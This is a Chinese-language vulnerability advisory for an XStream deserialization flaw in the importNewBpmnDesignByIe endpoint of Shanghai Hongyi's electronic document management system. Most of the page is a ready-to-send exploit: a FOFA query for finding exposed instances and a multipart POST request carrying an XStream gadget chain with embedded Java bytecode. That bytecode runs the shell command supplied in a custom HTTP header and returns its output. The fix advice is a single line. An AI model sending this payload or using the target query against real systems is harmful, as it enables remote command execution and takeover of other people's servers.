跳转至

上海鸿翼软件-电子文档管理系统 importNewBpmnDesignByIe 存在XStream反序列化漏洞

上海鸿翼软件-电子文档管理系统 importNewBpmnDesignByIe 存在XStream反序列化漏洞，攻击者可获取系统权限

影响版本

上海鸿翼软件-电子文档管理系统

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：body="/Content/themes/techblue/main.parttwo.css" || body="/inbiz/wcm/fex/index"

POC/EXP：

POST /edoc2Flow-web/edoc-etc-processManage/importNewBpmnDesignByIe?groupId=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Last-Modified-Xisxf: id
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="3.xml"
Content-Type: application/xml

<linked-hash-set>
<dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
    <classToInvocationHandler class='linked-hash-map'/>
    <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
        <entry>
            <method>
            <class>java.lang.Object</class>
            <name>hashCode</name>
            <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
            <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                    <byte-array>yv66vgAAADEBCgEAFm9yZy9hcGFjaGUvaGEvSHR0cFV0aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMb3JnL2FwYWNoZS9oYS9IdHRwVXRpbDsMAAUABgoABAAMAQADcnVuDAAOAAYKAAIADwEAEGdldFJlcUhlYWRlck5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAE0xhc3QtTW9kaWZpZWQtWGlzeGYIABMBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAXAQATamF2YS9sYW5nL1Rocm93YWJsZQcAGQEABXZhcjE1AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAAV2YXIxMwEABXZhcjE0AQAFdmFyMTIBAAhyZXNwb25zZQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABndyaXRlcgEAEExqYXZhL2lvL1dyaXRlcjsBAAR2YXI3AQASTGphdmEvbGFuZy9TdHJpbmc7AQAEdmFyNgEAAUkBAAR2YXI1AQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAEdmFyMwEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAR2YXI0AQAEdmFyMgEABHZhcjABABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABHZhcjEBABNbTGphdmEvbGFuZy9UaHJlYWQ7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwAyBwAxAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHADUBABBqYXZhL2xhbmcvT2JqZWN0BwA3AQATamF2YS91dGlsL0FycmF5TGlzdAcAOQEAEGphdmEvbGFuZy9TdHJpbmcHADsBAA1TdGFja01hcFRhYmxlAQAQamF2YS9sYW5nL1RocmVhZAcAPgEACmdldFRocmVhZHMIAEABAA9qYXZhL2xhbmcvQ2xhc3MHAEIBABJbTGphdmEvbGFuZy9DbGFzczsHAEQBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAEYARwoAQwBIAQANc2V0QWNjZXNzaWJsZQEABChaKVYMAEoASwoAMwBMAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DABOAE8KADMAUAEAB2dldE5hbWUMAFIAEgoAPwBTAQAEaHR0cAgAVQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABXAFgKADwAWQEACEFjY2VwdG9yCABbAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DABdAF4KADgAXwEABnRhcmdldAgAYQEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAGMAZAoAQwBlCgA2AEwBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAaABpCgA2AGoBAAhlbmRwb2ludAgAbAEABnRoaXMkMAgAbgEAB2hhbmRsZXIIAHABAA1nZXRTdXBlcmNsYXNzDAByAF4KAEMAcwEABmdsb2JhbAgAdQEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwwAdwB4CgBDAHkBACJvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0R3JvdXBJbmZvCAB7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyBwB9AQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAfwCACgB+AIEKAEMAUwEACnByb2Nlc3NvcnMIAIQBAARzaXplAQADKClJDACGAIcKADoAiAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwwAaACKCgA6AIsBAANyZXEIAI0BAAdnZXROb3RlCACPAQARamF2YS9sYW5nL0ludGVnZXIHAJEBAARUWVBFAQARTGphdmEvbGFuZy9DbGFzczsMAJMAlAkAkgCVAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsMAJcAmAoAkgCZAQAJZ2V0SGVhZGVyCACbAQAJZ2V0TWV0aG9kDACdAEcKAEMAngwAEQASCgACAKABAAtnZXRSZXNwb25zZQgAogEACWdldFdyaXRlcggApAEADmphdmEvaW8vV3JpdGVyBwCmAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DACoAKkKAAIAqgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDACsAK0KAKcArgEABWZsdXNoDACwAAYKAKcAsQEABWNsb3NlDACzAAYKAKcAtAEAB2lzTGludXgBAAFaAQAGb3NUeXBlAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAJpbgEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQAHZXhlY1JlcwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANjbWQHALoBABNqYXZhL2lvL0lucHV0U3RyZWFtBwDEAQARamF2YS91dGlsL1NjYW5uZXIHAMYBAAdvcy5uYW1lCADIAQAQamF2YS9sYW5nL1N5c3RlbQcAygEAC2dldFByb3BlcnR5DADMAKkKAMsAzQEAC3RvTG93ZXJDYXNlDADPABIKADwA0AEAA3dpbggA0gEABy9iaW4vc2gIANQBAAItYwgA1gEAB2NtZC5leGUIANgBAAIvYwgA2gEAEWphdmEvbGFuZy9SdW50aW1lBwDcAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwA3gDfCgDdAOABACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DACoAOIKAN0A4wEAEWphdmEvbGFuZy9Qcm9jZXNzBwDlAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwwA5wDoCgDmAOkBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAAUA6woAxwDsAQACXGEI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</byte-array>
                    <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                </default>
                <boolean>false</boolean>
               </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </proxy>
            <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
            </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
        </entry>
        </probes>
    </defaultHandler>
    </handler>
</dynamic-proxy>
</linked-hash-set>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

image-20260713142202398

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。